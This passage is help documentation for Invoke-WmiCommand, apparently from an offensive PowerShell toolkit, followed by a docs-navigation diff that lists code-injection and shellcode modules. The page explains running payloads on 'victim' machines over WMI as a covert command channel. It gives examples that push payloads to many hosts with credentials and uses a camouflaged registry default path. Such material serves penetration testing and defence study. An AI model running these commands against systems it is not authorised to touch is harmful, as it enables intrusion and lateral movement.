[[-Authentication] <AuthenticationLevel>] [-EnableAllPrivileges] [[-Authority] <String>]
```
## DESCRIPTION
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
computer using WMI as a pure C2 channel.
It does this by using the
StdRegProv WMI registry provider methods to store a payload into a
registry value.
The command is then executed on the victim system and
the output is stored in another registry value that is then retrieved
remotely.
## EXAMPLES
### -------------------------- EXAMPLE 1 --------------------------
```
Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
```
### -------------------------- EXAMPLE 2 --------------------------
```
$Hosts = Get-Content hostnames.txt
```
PS C:\\\>$Payload = Get-Content payload.ps1
PS C:\\\>$Credential = Get-Credential 'TargetDomain\TargetUser'
PS C:\\\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential
### -------------------------- EXAMPLE 3 --------------------------
```
$Payload = Get-Content payload.ps1
```
PS C:\\\>Invoke-WmiCommand -Payload $Payload -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1', '10.10.1.2'
### -------------------------- EXAMPLE 4 --------------------------
```
Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
```
## PARAMETERS
### -Payload
Specifies the payload to be executed on the remote system.
```yaml
Type: ScriptBlock
Parameter Sets: (All)
Aliases:
Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -RegistryHive
{{Fill RegistryHive Description}}
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 2
Default value: HKEY_CURRENT_USER
Accept pipeline input: False
Accept wildcard characters: False
```
### -RegistryKeyPath
Specifies the registry key where the payload and payload output will
be stored.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 3
Default value: SOFTWARE\Microsoft\Cryptography\RNG
Accept pipeline input: False
Accept wildcard characters: False
```
### -RegistryPayloadValueName
Specifies the registry value name where the payload will be stored.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 4
Default value: Seed
Accept pipeline input: False
Accept wildcard characters: False
```
### -RegistryResultValueName
Specifies the registry value name where the payload output will be
stored.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 5
Default value: Value
Accept pipeline input: False
Accept wildcard characters: False
```
### -ComputerName
Runs the command on the specified computers.
The default is the local
computer.
Type the NetBIOS name, an IP address, or a fully qualified domain
name of one or more computers.
To specify the local computer, type
the computer name, a dot (.), or "localhost".
This parameter does not rely on Windows PowerShell remoting.
You can
use the ComputerName parameter even if your computer is not
configured to run remote commands.
```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Cn
Required: False
Position: 6
Default value: Localhost
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```
### -Credential
Specifies a user account that has permission to perform this action.
The default is the current user.
Type a user name, such as "User01",
"Domain01\User01", or User@Contoso.com.
Or, enter a PSCredential
object, such as an object that is returned by the Get-Credential
cmdlet.
When you type a user name, you will be prompted for a
password.
```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:
Required: False
Position: 7
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```
### -Impersonation
Specifies the impersonation level to use.
Valid values are:
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
1: Anonymous (Hides the credentials of the caller.)
2: Identify (Allows objects to query the credentials of the caller.)
3: Impersonate (Allows objects to use the credentials of the caller.)
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
```yaml
Type: ImpersonationLevel
Parameter Sets: (All)
Aliases:
Accepted values: Default, Anonymous, Identify, Impersonate, Delegate
Required: False
Position: 8
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -Authentication
Specifies the authentication level to be used with the WMI connection.
Valid values are:
-1: Unchanged
0: Default
1: None (No authentication in performed.)
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
4: Packet (Authentication is performed on all the data that is received from the client.)
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)
```yaml
Type: AuthenticationLevel
Parameter Sets: (All)
Aliases:
Accepted values: Default, None, Connect, Call, Packet, PacketIntegrity, PacketPrivacy, Unchanged
Required: False
Position: 9
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
### -EnableAllPrivileges
Enables all the privileges of the current user before the command
makes the WMI call.
```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:
Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```
### -Authority
Specifies the authority to use to authenticate the WMI connection.
You can specify standard NTLM or Kerberos authentication.
To use
NTLM, set the authority setting to ntlmdomain:\<DomainName\>, where
\<DomainName\> identifies a valid NTLM domain name.
To use Kerberos,
specify kerberos:\<DomainName\ServerName\>.
You cannot include the
authority setting when you connect to the local computer.
```yaml
Type: String
Parameter Sets: (All)
Aliases:
Required: False
Position: 10
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```
## INPUTS
### System.String[]
Accepts one or more host names/IP addresses over the pipeline.
## OUTPUTS
### System.Management.Automation.PSObject
Outputs a custom object consisting of the target computer name and
the output of the command executed.
## NOTES
In order to receive the output from your payload, it must return
actual objects.
For example, Write-Host doesn't return objects
rather, it writes directly to the console.
If you're using
Write-Host in your scripts though, you probably don't deserve to get
the output of your payload back.
:P
## RELATED LINKS

View File

@ -122,3 +122,9 @@ pages:
- AntiVirus: - AntiVirus:
- Functions: - Functions:
- Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md' - Find-AVSignature: 'AntivirusBypass/Find-AVSignature.md'
- CodeExecution:
- Functions:
- Find-AVSignature: 'CodeExecution/Invoke-DllInjection.md'
- Find-AVSignature: 'CodeExecution/Invoke-ReflectivePEInjection.md'
- Find-AVSignature: 'CodeExecution/Invoke-Shellcode.md'
- Find-AVSignature: 'CodeExecution/Invoke-WmiCommand.md'